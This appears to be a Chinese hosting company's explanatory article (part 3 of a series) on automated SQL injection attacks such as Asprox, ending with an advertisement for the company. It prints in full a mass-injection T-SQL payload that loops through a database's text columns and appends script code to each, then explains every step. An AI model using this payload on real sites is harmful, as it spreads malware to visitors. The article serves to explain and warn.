小心你的WEB應(yīng)用程序成為數(shù)據(jù)竊賊的幫兇(3) |
發(fā)布時(shí)間: 2012/6/11 19:27:54 |
自動(dòng)攻擊
攻擊者可以使用兩種主要的攻擊方法來利用SQL注入漏洞:自動(dòng)攻擊和手動(dòng)攻擊。從字面上看似乎很容易理解,但這兩種攻擊在機(jī)制上是非常不同的。自動(dòng)攻擊一般是為特定目的而編制的一種工具所導(dǎo)致的結(jié)果。例如,有的攻擊使用大規(guī)模的注入攻擊,其目的是為了讓其攻擊范圍最大化并任意擴(kuò)散其代碼。這種大規(guī)模的攻擊一般針對(duì)非常具體的應(yīng)用程序架構(gòu),如運(yùn)行ASP的IIS億恩科技服務(wù)器等。而Asprox攻擊,其目的是為了將一個(gè)JavaScript或iframe標(biāo)記注入到網(wǎng)頁中,從而傳播病毒。 自動(dòng)SQL注入舉例 下面是一個(gè)高級(jí)SQL注入攻擊的例子,它能夠注入到某些字段類型中。很長一段時(shí)間以來,此類代碼可以有效的幫助攻擊者傳播病毒。 wangzhan.com/ssp.asp?username=zhangsan’;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE TABLE_CURSOR CURSOR FOR SELECT A.NAME,B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.XTYPE=‘U’ AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+’] SET [‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+’<script code>‘) FETCH NEXT FROM TABLE_CURSOR INTO @T,@C END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;-- 下面,我們簡(jiǎn)單地看一下這段代碼是如何針對(duì)后端數(shù)據(jù)庫實(shí)施攻擊的。首先,攻擊者聲明了Table (T) 和 Column (C)這兩個(gè)變量。 DECLARE @T VARCHAR(255),@C VARCHAR(255) 并聲明了一個(gè)可以保存查詢結(jié)果的表cursor: DECLARE TABLE_CURSOR CURSOR FOR 下面的SELECT語句通過“text”、“sysname”、“varchar”等列來檢索所有的用戶對(duì)象,并且將結(jié)果存儲(chǔ)在前面創(chuàng)建的CURSOR中。 SELECT A.NAME,B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.XTYPE=‘U’ AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167) 在下面的代碼中,數(shù)據(jù)表CURSOR檢索結(jié)果,并將其分配給表和列變量: OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @T,@C WHILE(@@FETCH_STATUS=0) 此時(shí),攻擊者已經(jīng)檢索了數(shù)據(jù)庫中基于文本的這些列,其意圖是為了修改這些列的內(nèi)容。在這里,攻擊者雖然沒有篡改數(shù)據(jù),但已經(jīng)完成了所有必要的偵察。然后,執(zhí)行更新語句,將JavaScript置于列變量中的每一列中。攻擊完成后,包含Web內(nèi)容(這些內(nèi)容源自數(shù)據(jù)庫的任何字段)的任何網(wǎng)頁都會(huì)提交攻擊者的惡意JavaScript代碼。然后,該JavaScript用一個(gè)病毒感染W(wǎng)eb用戶的計(jì)算機(jī): WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+’] SET [‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+’<script code>‘) FETCH NEXT FROM TABLE_CURSOR INTO @T,@C END 在注入的結(jié)尾,攻擊者執(zhí)行清理,覆蓋所有的攻擊痕跡: CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;-- 這些攻擊是完全自動(dòng)化的;黑客攻擊只需使用搜索引擎簡(jiǎn)單地搜索互聯(lián)網(wǎng),查找運(yùn)行經(jīng)典的ASP代碼的Web億恩科技服務(wù)器即可。別再自欺欺人的相信“我的網(wǎng)站:(mszdt.com)很小,誰會(huì)愿意攻擊它呢?”這種愚蠢的謊言。如果你正在通過互聯(lián)網(wǎng)做商務(wù),不管企業(yè)大小,都易于遭到攻擊。 本文出自:億恩科技【mszdt.com】 服務(wù)器租用/服務(wù)器托管中國五強(qiáng)!虛擬主機(jī)域名注冊(cè)頂級(jí)提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM] |